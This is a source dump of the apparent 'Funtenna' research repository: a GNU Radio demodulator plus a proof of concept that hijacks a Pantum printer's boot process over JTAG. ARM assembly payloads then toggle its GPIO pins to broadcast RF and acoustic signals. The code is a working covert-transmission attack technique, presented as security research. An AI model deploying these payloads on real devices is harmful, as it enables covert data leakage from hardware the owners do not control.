d['NAME'] = name 214 | d['IMPL_NAME'] = name 215 | d['BASE_NAME'] = name.rstrip("impl").rstrip("_") 216 | d['GUARD_NAME'] = 'INCLUDED_%s_%s_H' % (package.upper(), name.upper()) 217 | d['WARNING'] = 'WARNING: this file is machine generated. Edits will be overwritten' 218 | d['COPYRIGHT'] = copyright 219 | d['FIR_TYPE'] = "fir_filter_" + code3 220 | d['CFIR_TYPE'] = "fir_filter_" + code3[0:2] + 'c' 221 | d['TYPE'] = i_type (code3) 222 | d['I_TYPE'] = i_type (code3) 223 | d['O_TYPE'] = o_type (code3) 224 | d['TAP_TYPE'] = tap_type (code3) 225 | d['IS_COMPLEX'] = is_complex (code3) 226 | return d 227 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/python/build_utils_codes.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2004 Free Software Foundation, Inc. 3 | # 4 | # This file is part of GNU Radio 5 | # 6 | # GNU Radio is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 3, or (at your option) 9 | # any later version. 10 | # 11 | # GNU Radio is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with GNU Radio; see the file COPYING. If not, write to 18 | # the Free Software Foundation, Inc., 51 Franklin Street, 19 | # Boston, MA 02110-1301, USA. 20 | # 21 | 22 | def i_code (code3): 23 | return code3[0] 24 | 25 | def o_code (code3): 26 | if len (code3) >= 2: 27 | return code3[1] 28 | else: 29 | return code3[0] 30 | 31 | def tap_code (code3): 32 | if len (code3) >= 3: 33 | return code3[2] 34 | else: 35 | return code3[0] 36 | 37 | def i_type (code3): 38 | return char_to_type[i_code (code3)] 39 | 40 | def o_type (code3): 41 | return char_to_type[o_code (code3)] 42 | 43 | def tap_type (code3): 44 | return char_to_type[tap_code (code3)] 45 | 46 | 47 | char_to_type = {} 48 | char_to_type['s'] = 'short' 49 | char_to_type['i'] = 'int' 50 | char_to_type['f'] = 'float' 51 | char_to_type['c'] = 'gr_complex' 52 | char_to_type['b'] = 'unsigned char' 53 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/swig/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Check if there is C++ code at all 22 | ######################################################################## 23 | if(NOT funtenna_ook_demod_sources) 24 | MESSAGE(STATUS "No C++ sources... skipping swig/") 25 | return() 26 | endif(NOT funtenna_ook_demod_sources) 27 | 28 | ######################################################################## 29 | # Include swig generation macros 30 | ######################################################################## 31 | find_package(SWIG) 32 | find_package(PythonLibs 2) 33 | if(NOT SWIG_FOUND OR NOT PYTHONLIBS_FOUND) 34 | return() 35 | endif() 36 | include(GrSwig) 37 | include(GrPython) 38 | 39 | ######################################################################## 40 | # Setup swig generation 41 | ######################################################################## 42 | foreach(incdir ${GNURADIO_RUNTIME_INCLUDE_DIRS}) 43 | list(APPEND GR_SWIG_INCLUDE_DIRS ${incdir}/gnuradio/swig) 44 | endforeach(incdir) 45 | 46 | set(GR_SWIG_LIBRARIES gnuradio-funtenna_ook_demod) 47 | set(GR_SWIG_DOC_FILE ${CMAKE_CURRENT_BINARY_DIR}/funtenna_ook_demod_swig_doc.i) 48 | set(GR_SWIG_DOC_DIRS ${CMAKE_CURRENT_SOURCE_DIR}/../include) 49 | 50 | GR_SWIG_MAKE(funtenna_ook_demod_swig funtenna_ook_demod_swig.i) 51 | 52 | ######################################################################## 53 | # Install the build swig module 54 | ######################################################################## 55 | GR_SWIG_INSTALL(TARGETS funtenna_ook_demod_swig DESTINATION ${GR_PYTHON_DIR}/funtenna_ook_demod) 56 | 57 | ######################################################################## 58 | # Install swig .i files for development 59 | ######################################################################## 60 | install( 61 | FILES 62 | funtenna_ook_demod_swig.i 63 | ${CMAKE_CURRENT_BINARY_DIR}/funtenna_ook_demod_swig_doc.i 64 | DESTINATION ${GR_INCLUDE_DIR}/funtenna_ook_demod/swig 65 | ) 66 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/swig/funtenna_ook_demod_swig.i: -------------------------------------------------------------------------------- 1 | /* -*- c++ -*- */ 2 | 3 | #define FUNTENNA_OOK_DEMOD_API 4 | 5 | %include "gnuradio.i" // the common stuff 6 | 7 | //load generated python docstrings 8 | %include "funtenna_ook_demod_swig_doc.i" 9 | 10 | %{ 11 | #include "funtenna_ook_demod/funtenna_demod.h" 12 | #include "funtenna_ook_demod/funtenna_decode.h" 13 | %} 14 | 15 | 16 | %include "funtenna_ook_demod/funtenna_demod.h" 17 | GR_SWIG_BLOCK_MAGIC2(funtenna_ook_demod, funtenna_demod); 18 | %include "funtenna_ook_demod/funtenna_decode.h" 19 | GR_SWIG_BLOCK_MAGIC2(funtenna_ook_demod, funtenna_decode); 20 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/Makefile: -------------------------------------------------------------------------------- 1 | AS = /usr/local/bin/arm-none-eabi-as 2 | ASMFLAGS = -EL -k -march=armv7-a -mcpu=cortex-a9 -mfpu=neon 3 | SRC = $(wildcard *.as) 4 | OBJ = $(SRC:.as=.o) 5 | 6 | .PHONY: clean 7 | clean: 8 | rm -rf ${OBJ} 9 | rm -rf *-linkd *.pyc 10 | 11 | all: ${OBJ} 12 | 13 | pantumhook.o: 14 | ${AS} ${ASMFLAGS} -o $@ pantumhook.o 15 | 16 | pantumpatch.o: 17 | ${AS} ${ASMFLAGS} -o $@ pantumpatch.as 18 | 19 | pantumreturn.o: 20 | ${AS} ${ASMFLAGS} -o $@ pantumreturn.as 21 | 22 | pantumhook_sensorcmd.o: 23 | ${AS} ${ASMFLAGS} -o $@ pantumhook_sensorcmd.as 24 | 25 | pantum_gpio_push_sensors.o: 26 | ${AS} ${ASMFLAGS} -o $@ pantum_gpio_push_sensors.as 27 | 28 | pantum_gpio_uart_onoff.o: 29 | ${AS} ${ASMFLAGS} -o $@ pantum_gpio_uart_onoff.as 30 | 31 | pantum_gpio_push_acoustic.o: 32 | ${AS} ${ASMFLAGS} -o $@ pantum_gpio_push_acoustic.as 33 | 34 | 35 | jtag_rf: all 36 | python printer_jam.py -a rf -p pantum.dump -H 1.1.1.1 -p 4444 37 | 38 | jtag_acoustic:all 39 | python printer_jam.py -a acoustic -p pantum.dump -H 1.1.1.1 -p 4444 40 | 41 | jtag_uart:all 42 | python printer_jam.py -a uart -f pantum.dump -H 1.1.1.1 -p 4444 43 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/README.md: -------------------------------------------------------------------------------- 1 | #This is part of the FUNTENNA program. 2 | 3 | #This program is free software: you can redistribute it and/or modify 4 | #it under the terms of the GNU General Public License as published by 5 | #the Free Software Foundation, either version 3 of the License, or 6 | #(at your option) any later version. 7 | 8 | #This program is distributed in the hope that it will be useful, 9 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | #GNU General Public License for more details. 12 | 13 | #You should have received a copy of the GNU General Public License 14 | #along with this program. If not, see . 15 | 16 | # Ang Cui 17 | # 0xAC 18 | # ang.cui@gmail.com 19 | 20 | Prerequisite: 21 | GCC ARM toolchain -> GNU AS for ARM. 22 | 23 | This repo contains open source scripts to reprogram a Pantum P2502W printer over 24 | JTAG into an acoustic and RF transmitter over GPIO/UART. The UART transmission 25 | can be demodulated/decoded via the custom funtenna_demod python module. 26 | 27 | All scripts can be executed via the included Makefile. Targets and explanations 28 | are provided below: 29 | 30 | `uart_cmd` and `jtag_uart`: 31 | Will generate a commands list to take over the Pantum boot process and transmit 32 | a pre-set message over the UART Tx pin. The `jtag_uart` target will initiate 33 | a telnet session with an OpenOCD-compatible JTAG debugger on port 4444 and 34 | program the device automatically. This is the same demo that was shown at 35 | Black Hat 2015 and can be demodulated using the gr-funtenna_ook_demod block. 36 | 37 | 38 | `acoustic_cmd` and `jtag_acoustic`: 39 | Will generate OpenOCD commands to replay the Pantum printer's boot code over 40 | audio! The `jtag_acoustic` target will program the remote device. 41 | 42 | `rf_cmd` and `jtag_rf`: 43 | Will generate a list of commands to take over the Pantum boot process and 44 | transmit a pre-set message over all GPIO pins. The `jtag_rf` target will 45 | program the remote device. 46 | 47 | 48 | To get started: 49 | 50 | 1. Change 1.1.1.1:4444 to your OpenOcd server and port in Makefile. 51 | 2. Change AS to the path to your own arm-none-eabi-as assembler. 52 | 2. Edit LINKER in printer_jam.py with the path to your own arm-none-eabi-ld linker. 53 | 54 | See pantum.cfg for OpenOCD configuration file. 55 | See http://www.funtenna.org/CuiBH2015.pdf for UART and JTAG pinout. 56 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/bank_0_3.cfgbin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funtenna/funtenna_2015/4757a05a246ece93e58bc2986c8ca4e6ae202793/pantum_funtenna_poc/bank_0_3.cfgbin -------------------------------------------------------------------------------- /pantum_funtenna_poc/ocd_interface.py: -------------------------------------------------------------------------------- 1 | import pexpect 2 | import struct 3 | import itertools 4 | 5 | 6 | def grouper(iterable, n, fillvalue=None): 7 | """ group data """ 8 | args = [iter(iterable)] * n 9 | return itertools.izip_longest(fillvalue=fillvalue, *args) 10 | 11 | class OcdInterface(object): 12 | def __init__(self, host, port): 13 | self._host = host 14 | self._port = port 15 | #self.connect() 16 | 17 | def connect(self): 18 | self._child = pexpect.spawn('telnet %s %d' % (self._host, self._port)) 19 | self._child.expect('>') 20 | print 'server banner:', self._child.before 21 | 22 | def close(self): 23 | self._child.close() 24 | 25 | def sendcmd(self, cmd_str): 26 | self._child.sendline(cmd_str) 27 | self._child.expect('>') 28 | return self._child.before 29 | 30 | def read_byte(self, vmaddr, count=1): 31 | res_str = self.sendcmd('mdb 0x%08x %d' % (vmaddr, count)) 32 | print res_str 33 | data = [] 34 | for line in res_str.split('\n')[1:]: # first line is echo of cmd 35 | line = line.strip() 36 | vals = line.split(' ')[1:] 37 | for val in vals: 38 | data.append(struct.pack('>B', int(val, 16))) 39 | return ''.join(data) 40 | 41 | def read_word(self, vmaddr, count=1): 42 | res_str = self.sendcmd('mdw 0x%08x %d' % (vmaddr, count)) 43 | data = [] 44 | for line in res_str.split('\n')[1:]: # first line is echo of cmd 45 | line = line.strip() 46 | vals = line.split(' ')[1:] 47 | for val in vals: 48 | data.append(struct.pack('>I', int(val, 16))) 49 | return ''.join(data) 50 | 51 | def write_byte(self, vmaddr, val): 52 | if isinstance(val, str): 53 | val = ord(val) 54 | res_str = self.sendcmd('mwb 0x%08x 0x%02x' % (vmaddr, val)) 55 | print res_str 56 | 57 | def write_word(self, vmaddr, val): 58 | res_str = self.sendcmd('mww 0x%08x 0x%08x' % (vmaddr, val)) 59 | print res_str 60 | 61 | def write_data(self, vmaddr, data, endian='little'): 62 | assert endian in ['little', 'big'], "endian must be little or large" 63 | self.connect() 64 | self.sendcmd('halt') 65 | 66 | words = grouper(data, 4) 67 | vmaddrs = grouper(range(vmaddr, vmaddr + len(data)), 4) 68 | 69 | for vmaddr, d in zip(vmaddrs, words): 70 | if d[-1] is not None: 71 | if endian == 'little': 72 | d_val = struct.unpack("I", "".join(d))[0] 75 | self.write_word(vmaddr[0], d_val) 76 | pass 77 | else: 78 | for vmaddr_byte, d_byte in zip(vmaddr, d): 79 | self.write_byte(vmaddr_byte, d_byte) 80 | self.sendcmd('resume') 81 | self.close() 82 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/ocd_interface.py~: -------------------------------------------------------------------------------- 1 | import pexpect 2 | import struct 3 | import itertools 4 | 5 | 6 | def grouper(iterable, n, fillvalue=None): 7 | """ group data """ 8 | args = [iter(iterable)] * n 9 | return itertools.izip_longest(fillvalue=fillvalue, *args) 10 | 11 | class OcdInterface(object): 12 | def __init__(self, host, port): 13 | self._host = host 14 | self._port = port 15 | #self.connect() 16 | 17 | def connect(self): 18 | self._child = pexpect.spawn('telnet %s %d' % (self._host, self._port)) 19 | self._child.expect('>') 20 | print 'server banner:', self._child.before 21 | 22 | def close(self): 23 | self._child.close() 24 | 25 | def sendcmd(self, cmd_str): 26 | self._child.sendline(cmd_str) 27 | self._child.expect('>') 28 | return self._child.before 29 | 30 | def read_byte(self, vmaddr, count=1): 31 | res_str = self.sendcmd('mdb 0x%08x %d' % (vmaddr, count)) 32 | print res_str 33 | data = [] 34 | for line in res_str.split('\n')[1:]: # first line is echo of cmd 35 | line = line.strip() 36 | vals = line.split(' ')[1:] 37 | for val in vals: 38 | data.append(struct.pack('>B', int(val, 16))) 39 | return ''.join(data) 40 | 41 | def read_word(self, vmaddr, count=1): 42 | res_str = self.sendcmd('mdw 0x%08x %d' % (vmaddr, count)) 43 | data = [] 44 | for line in res_str.split('\n')[1:]: # first line is echo of cmd 45 | line = line.strip() 46 | vals = line.split(' ')[1:] 47 | for val in vals: 48 | data.append(struct.pack('>I', int(val, 16))) 49 | return ''.join(data) 50 | 51 | def write_byte(self, vmaddr, val): 52 | if isinstance(val, str): 53 | val = ord(val) 54 | res_str = self.sendcmd('mwb 0x%08x 0x%02x' % (vmaddr, val)) 55 | print res_str 56 | 57 | def write_word(self, vmaddr, val): 58 | res_str = self.sendcmd('mww 0x%08x 0x%08x' % (vmaddr, val)) 59 | print res_str 60 | 61 | def write_data(self, vmaddr, data, endian='little'): 62 | assert endian in ['little', 'big'], "endian must be little or large" 63 | self.connect() 64 | self.sendcmd('halt') 65 | 66 | words = grouper(data, 4) 67 | vmaddrs = grouper(range(vmaddr, vmaddr + len(data)), 4) 68 | 69 | for vmaddr, d in zip(vmaddrs, words): 70 | if d[-1] is not None: 71 | if endian == 'little': 72 | d_val = struct.unpack("I", "".join(d))[0] 75 | self.write_word(vmaddr[0], d_val) 76 | pass 77 | else: 78 | for vmaddr_byte, d_byte in zip(vmaddr, d): 79 | self.write_byte(vmaddr_byte, d_byte) 80 | self.sendcmd('resume') 81 | self.close() 82 | 83 | if __name__ == '__main__': 84 | a = OcdInterface('172.17.0.239', 4444) 85 | 86 | a.read_byte(0x10C49E0, count=10) 87 | a.read_word(0x10C49E0, count=10) 88 | a.write_byte(0x10C49E1, 0x50) 89 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantum.dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funtenna/funtenna_2015/4757a05a246ece93e58bc2986c8ca4e6ae202793/pantum_funtenna_poc/pantum.dump -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantum_gpio_push_acoustic.as: -------------------------------------------------------------------------------- 1 | .text 2 | .equ raw_gpio_write_func, 0x02F4EF4 3 | .equ clutch_gpio_struct, 0x1601948 4 | .equ engine_power_gpio_struct, 0x1601188 5 | @ 0x0 spin period, rf output @ 25.92Mhz 6 | @for fsk, 7 works 7 | @.equ spin_period, 0x7 8 | @for dog whistle 9 | .equ spin_period, 0x3ffff 10 | @.equ spin_period, 0xfffff 11 | .equ all_p1mp, 0xffffffff 12 | @wrong. these are for LEDs 13 | .equ gpio_10_addr, 0x1600ee8 14 | .equ gpio_11_addr, 0x1600ee8 15 | .equ gpio_12_addr, 0x1600f08 16 | .equ gpio_13_addr, 0x1600f28 17 | .equ gpio_14_addr, 0x1600f48 18 | 19 | .equ gpio_bank_a_off_addr, 0xFD040020 20 | .equ gpio_bank_b_off_addr, 0xF8040020 21 | .equ gpio_bank_c_off_addr, 0xF8041020 22 | .equ gpio_bank_d_off_addr, 0xF8042020 23 | 24 | .equ gpio_struct_a, 0x3c1860 25 | .equ gpio_struct_b, 0x3C1AE0 26 | .equ gpio_struct_c, 0x3c1d60 27 | .equ gpio_struct_d, 0x3c1fe0 28 | .equ mem_start, 0x8000 29 | 30 | .equ gpio_sensor_addr, 0x1600e28 31 | @old_version 32 | .equ gpio_open_func, 0x02F3520 33 | @new version 34 | @.equ gpio_open_func, 0x2FB064 35 | 36 | .equ gpio_8_addr, 0x01600EA8 37 | .equ gpio_9_addr, 0x01600EC8 38 | .equ symbol_duration, 0x2f 39 | 40 | .equ xmit_msg_word, 0b10101010101010101010101010101010 41 | @.equ xmit_msg_word, 0b00000001000100010001000000010001 42 | @.equ xmit_msg_word, 0b00000000000001000000000000000001 43 | @.equ xmit_msg_word, 0b11111111111111111111111111111111 44 | @.equ xmit_msg_word, 0b11011101111011101101000101010011 45 | 46 | MOV LR,LR 47 | NOP 48 | MOV LR,LR 49 | NOP 50 | 51 | STMFD SP!, {R4-R12, LR} 52 | SUB SP, SP, #0x40 53 | LDR R0, =mem_start 54 | STR R0, [SP, #0x24] @ cur_mem pointer 55 | LDRH R0, [R0] 56 | STR R0, [SP, #0x20] @ spin_period on stack 57 | 58 | @ disable interrupts 59 | mrs r0, CPSR 60 | orr r0, r0, #0x80 61 | msr CPSR, r0 62 | mrs r0, CPSR 63 | orr r0, r0, #0x40 64 | msr CPSR, r0 65 | 66 | MOV R0, #0x0 67 | LDR R1, =gpio_struct_a 68 | MOV R2, #0x20 69 | BL _func_gpio_open 70 | 71 | MOV R0, #0x1 72 | LDR R1, =gpio_struct_b 73 | MOV R2, #0x20 74 | BL _func_gpio_open 75 | 76 | MOV R0, #0x2 77 | LDR R1, =gpio_struct_c 78 | MOV R2, #0x20 79 | BL _func_gpio_open 80 | 81 | MOV R0, #0x3 82 | LDR R1, =gpio_struct_d 83 | MOV R2, #0x1a 84 | BL _func_gpio_open 85 | 86 | 87 | _loopy: 88 | LDR R5, =all_p1mp 89 | LDR R1, =gpio_bank_a_off_addr 90 | LDR R2, =gpio_bank_b_off_addr 91 | LDR R3, =gpio_bank_c_off_addr 92 | LDR R4, =gpio_bank_d_off_addr 93 | MOV R6, #0x0 @ counter 94 | MOV R7, #0x0 @ freq flag 95 | LDR R8, =symbol_duration 96 | 97 | _load_xmit_word: 98 | LDR R9, =xmit_msg_word 99 | B _reset_symbol 100 | 101 | _doloopy: 102 | CMP R9, #0x0 103 | BEQ _load_xmit_word 104 | 105 | CMP R7, #0x1 106 | BEQ _spin1_off 107 | _spin1_on: 108 | LDR R0, [SP, #0x20] 109 | B _spin1 110 | _spin1_off: 111 | MOV R0, #0x0 112 | _spin1: 113 | BL _funcspin 114 | 115 | STR R5, [R1] 116 | STR R5, [R2] 117 | STR R5, [R3] 118 | STR R5, [R4] 119 | 120 | CMP R7, #0x1 121 | BEQ _spin2_off 122 | _spin2_on: 123 | LDR R0, [SP, #0x20] 124 | B _spin2 125 | _spin2_off: 126 | MOV R0, #0x0 127 | _spin2: 128 | BL _funcspin 129 | 130 | STR R5, [R1, #0x4] 131 | STR R5, [R2, #0x4] 132 | STR R5, [R3, #0x4] 133 | STR R5, [R4, #0x4] 134 | 135 | ADD R6, #0x1 136 | CMP R6, R8 137 | BHI _reset_symbol 138 | B _doloopy 139 | 140 | _reset_symbol: 141 | LDR R0, [SP, #0x24] @ cur_mem pointer 142 | ADD R0, #0x2 143 | STR R0, [SP, #0x24] @ cur_mem pointer 144 | LDRH R0, [R0] 145 | LSL R0, #0x2 146 | STR R0, [SP, #0x20] @ cur spin period 147 | 148 | MOV R6, #0x0 149 | TST R9, #1 150 | LSR R9, R9, #0x1 151 | BEQ _set_symbol_one 152 | _set_symbol_zero: 153 | MOV R7, #0x0 154 | B _doloopy 155 | _set_symbol_one: 156 | MOV R7, #0x1 157 | B _doloopy 158 | 159 | _doneFlipping: 160 | ADD SP, SP, #0x40 161 | LDMFD SP!, {R4-R12, LR} 162 | BX LR 163 | 164 | _func_gpio_open: 165 | STMFD SP!, {R4-R12, LR} 166 | SUB SP, SP, #0x40 167 | 168 | STR R0, [SP, #0x20] @ gpio bank 169 | STR R1, [SP, #0x24] @ data structure 170 | STR R2, [SP, #0x2c] @ max pins 171 | MOV R0, #0x0 172 | STR R0, [SP, #0x14] @ 0x14 = counter 173 | 174 | _gpio_open: 175 | LDR R0, [SP, #0x14] 176 | LDR R1, [SP, #0x2c] @ max pins 177 | CMP R0, R1 178 | BGE _done_gpio_open 179 | 180 | MOV R1, #0x14 181 | MUL R1, R0 182 | LDR R0, [SP, #0x24] 183 | ADD R0, R1 184 | 185 | LDR R1, [SP, #0x20] @ bank number 186 | LDR R2, [SP, #0x14] @ pin number 187 | MOV R3, #0x1 188 | STR R3, [SP, #0x0] 189 | STR R3, [SP, #0x4] 190 | LDR R12, =gpio_open_func 191 | BLX R12 192 | 193 | LDR R0, [SP, #0x14] 194 | ADD R0, #0x1 195 | STR R0, [SP, #0x14] 196 | B _gpio_open 197 | _done_gpio_open: 198 | ADD SP, SP, #0x40 199 | LDMFD SP!, {R4-R12, LR} 200 | BX LR 201 | 202 | _funcspin: 203 | MOV R12, #0x0 204 | _doSpin: 205 | cmp R12, R0 206 | BHI _doneSpin 207 | ADD R12, #0x1 208 | B _doSpin 209 | _doneSpin: 210 | BX LR 211 | 212 | xmit_msg_str: .asciz "UUABCD\xff\xff\x00\x00\x00\x00" 213 | 214 | .align 215 | .ltorg 216 | MOV LR,LR 217 | NOP 218 | MOV LR,LR 219 | NOP 220 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantum_gpio_push_sensors.as: -------------------------------------------------------------------------------- 1 | .text 2 | .equ raw_gpio_write_func, 0x02F4EF4 3 | .equ clutch_gpio_struct, 0x1601948 4 | .equ engine_power_gpio_struct, 0x1601188 5 | @ 0x0 spin period, rf output @ 25.92Mhz 6 | @for fsk, 7 works 7 | .equ spin_period, 0x5 8 | @for dog whistle 9 | @.equ spin_period, 0x6ff 10 | @.equ spin_period, 0xfffff 11 | .equ all_p1mp, 0xffffffff 12 | @wrong. these are for LEDs 13 | .equ gpio_10_addr, 0x1600ee8 14 | .equ gpio_11_addr, 0x1600ee8 15 | .equ gpio_12_addr, 0x1600f08 16 | .equ gpio_13_addr, 0x1600f28 17 | .equ gpio_14_addr, 0x1600f48 18 | 19 | .equ gpio_bank_a_off_addr, 0xFD040020 20 | .equ gpio_bank_b_off_addr, 0xF8040020 21 | .equ gpio_bank_c_off_addr, 0xF8041020 22 | .equ gpio_bank_d_off_addr, 0xF8042020 23 | 24 | .equ gpio_struct_a, 0x3c1860 25 | .equ gpio_struct_b, 0x3C1AE0 26 | .equ gpio_struct_c, 0x3c1d60 27 | .equ gpio_struct_d, 0x3c1fe0 28 | 29 | .equ gpio_sensor_addr, 0x1600e28 30 | @old_version 31 | .equ gpio_open_func, 0x02F3520 32 | @new version 33 | @.equ gpio_open_func, 0x2FB064 34 | 35 | .equ gpio_8_addr, 0x01600EA8 36 | .equ gpio_9_addr, 0x01600EC8 37 | .equ symbol_duration, 0xfffff 38 | 39 | .equ xmit_msg_word, 0b10101010101010101010101010101010 40 | .equ xmit_msg_word, 0b11011101111011101101000101010011 41 | 42 | MOV LR,LR 43 | NOP 44 | MOV LR,LR 45 | NOP 46 | 47 | STMFD SP!, {R4-R12, LR} 48 | SUB SP, SP, #0x40 49 | 50 | @ disable interrupts 51 | mrs r0, CPSR 52 | orr r0, r0, #0x80 53 | msr CPSR, r0 54 | mrs r0, CPSR 55 | orr r0, r0, #0x40 56 | msr CPSR, r0 57 | 58 | MOV R0, #0x0 59 | LDR R1, =gpio_struct_a 60 | MOV R2, #0x20 61 | BL _func_gpio_open 62 | 63 | MOV R0, #0x1 64 | LDR R1, =gpio_struct_b 65 | MOV R2, #0x20 66 | BL _func_gpio_open 67 | 68 | MOV R0, #0x2 69 | LDR R1, =gpio_struct_c 70 | MOV R2, #0x20 71 | BL _func_gpio_open 72 | 73 | MOV R0, #0x3 74 | LDR R1, =gpio_struct_d 75 | MOV R2, #0x1a 76 | BL _func_gpio_open 77 | 78 | 79 | _loopy: 80 | LDR R5, =all_p1mp 81 | LDR R1, =gpio_bank_a_off_addr 82 | LDR R2, =gpio_bank_b_off_addr 83 | LDR R3, =gpio_bank_c_off_addr 84 | LDR R4, =gpio_bank_d_off_addr 85 | MOV R6, #0x0 @ counter 86 | MOV R7, #0x0 @ freq flag 87 | LDR R8, =symbol_duration 88 | 89 | _load_xmit_word: 90 | LDR R9, =xmit_msg_word 91 | B _reset_symbol 92 | 93 | _doloopy: 94 | CMP R9, #0x0 95 | BEQ _load_xmit_word 96 | 97 | CMP R7, #0x1 98 | BEQ _spin1_off 99 | _spin1_on: 100 | LDR R0, =spin_period 101 | B _spin1 102 | _spin1_off: 103 | MOV R0, #0x0 104 | _spin1: 105 | BL _funcspin 106 | 107 | STR R5, [R1] 108 | STR R5, [R2] 109 | STR R5, [R3] 110 | STR R5, [R4] 111 | 112 | CMP R7, #0x1 113 | BEQ _spin2_off 114 | _spin2_on: 115 | LDR R0, =spin_period 116 | B _spin2 117 | _spin2_off: 118 | MOV R0, #0x0 119 | _spin2: 120 | BL _funcspin 121 | 122 | STR R5, [R1, #0x4] 123 | STR R5, [R2, #0x4] 124 | STR R5, [R3, #0x4] 125 | STR R5, [R4, #0x4] 126 | 127 | ADD R6, #0x1 128 | CMP R6, R8 129 | BHI _reset_symbol 130 | B _doloopy 131 | 132 | _reset_symbol: 133 | MOV R6, #0x0 134 | TST R9, #1 135 | LSR R9, R9, #0x1 136 | BEQ _set_symbol_one 137 | _set_symbol_zero: 138 | MOV R7, #0x0 139 | B _doloopy 140 | _set_symbol_one: 141 | MOV R7, #0x1 142 | B _doloopy 143 | 144 | _doneFlipping: 145 | ADD SP, SP, #0x40 146 | LDMFD SP!, {R4-R12, LR} 147 | BX LR 148 | 149 | _func_gpio_open: 150 | STMFD SP!, {R4-R12, LR} 151 | SUB SP, SP, #0x40 152 | 153 | STR R0, [SP, #0x20] @ gpio bank 154 | STR R1, [SP, #0x24] @ data structure 155 | STR R2, [SP, #0x2c] @ max pins 156 | MOV R0, #0x0 157 | STR R0, [SP, #0x14] @ 0x14 = counter 158 | 159 | _gpio_open: 160 | LDR R0, [SP, #0x14] 161 | LDR R1, [SP, #0x2c] @ max pins 162 | CMP R0, R1 163 | BGE _done_gpio_open 164 | 165 | MOV R1, #0x14 166 | MUL R1, R0 167 | LDR R0, [SP, #0x24] 168 | ADD R0, R1 169 | 170 | LDR R1, [SP, #0x20] @ bank number 171 | LDR R2, [SP, #0x14] @ pin number 172 | MOV R3, #0x1 173 | STR R3, [SP, #0x0] 174 | STR R3, [SP, #0x4] 175 | LDR R12, =gpio_open_func 176 | BLX R12 177 | 178 | LDR R0, [SP, #0x14] 179 | ADD R0, #0x1 180 | STR R0, [SP, #0x14] 181 | B _gpio_open 182 | _done_gpio_open: 183 | ADD SP, SP, #0x40 184 | LDMFD SP!, {R4-R12, LR} 185 | BX LR 186 | 187 | _funcspin: 188 | MOV R12, #0x0 189 | _doSpin: 190 | cmp R12, R0 191 | BHI _doneSpin 192 | ADD R12, #0x1 193 | B _doSpin 194 | _doneSpin: 195 | BX LR 196 | 197 | .align 198 | .ltorg 199 | MOV LR,LR 200 | NOP 201 | MOV LR,LR 202 | NOP 203 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantum_gpio_uart_onoff.as: -------------------------------------------------------------------------------- 1 | .text 2 | .equ uart_regaddr, 0xFD060000 3 | .equ uart_reg2addr, 0x15F0A70 4 | .equ func_uart_send, 0x302F4C 5 | .equ uart_conf_reg, 0xFD060000 6 | .equ symbol_duration_one, 0x219999 7 | .equ symbol_duration_zero, 0xd4ccc 8 | .equ spin_val, 0xffffff 9 | .equ xmit_msg_word, 0b10101010101010101010101010101010 10 | @.equ xmit_msg_word, 0b11011101111011101101000101010011 11 | 12 | MOV LR,LR 13 | NOP 14 | MOV LR,LR 15 | NOP 16 | 17 | STMFD SP!, {R4-R12, LR} 18 | SUB SP, SP, #0x40 19 | 20 | @ disable interrupts 21 | mrs r0, CPSR 22 | orr r0, r0, #0x80 23 | msr CPSR, r0 24 | mrs r0, CPSR 25 | orr r0, r0, #0x40 26 | msr CPSR, r0 27 | 28 | @ set BREAK bit to force SOUT to low 29 | MOV R1, #0x43 30 | LDR R2, =uart_conf_reg 31 | STR R1, [R2, #0xc] 32 | MOV R1, #0x23 33 | MOV R3, #0x33 34 | LDR R5, =xmit_msg_str 35 | 36 | _load_xmit_word: 37 | MOV R4, #0x0 @reset bit counter 38 | LDR R9, [R5] 39 | ADD R5, R5, #0x4 40 | CMP R9, #0x0 41 | BNE _doloopy 42 | LDR R5, =xmit_msg_str 43 | B _load_xmit_word 44 | 45 | _doloopy: 46 | LDR R0, =spin_val 47 | BL _funcspin 48 | 49 | CMP R4, #0x1f 50 | BHI _load_xmit_word 51 | 52 | _start_xmit_word: 53 | TST R9, #1 54 | LSR R9, R9, #0x1 55 | ADD R4, #0x1 @ increment bit counter 56 | BEQ _set_symbol_one 57 | 58 | _set_symbol_zero: 59 | BL _do_xmit_one 60 | B _doloopy 61 | _set_symbol_one: 62 | BL _do_xmit_zero 63 | B _doloopy 64 | 65 | _doneFlipping: 66 | ADD SP, SP, #0x40 67 | LDMFD SP!, {R4-R12, LR} 68 | BX LR 69 | 70 | 71 | _funcspin: 72 | MOV R12, #0x0 73 | 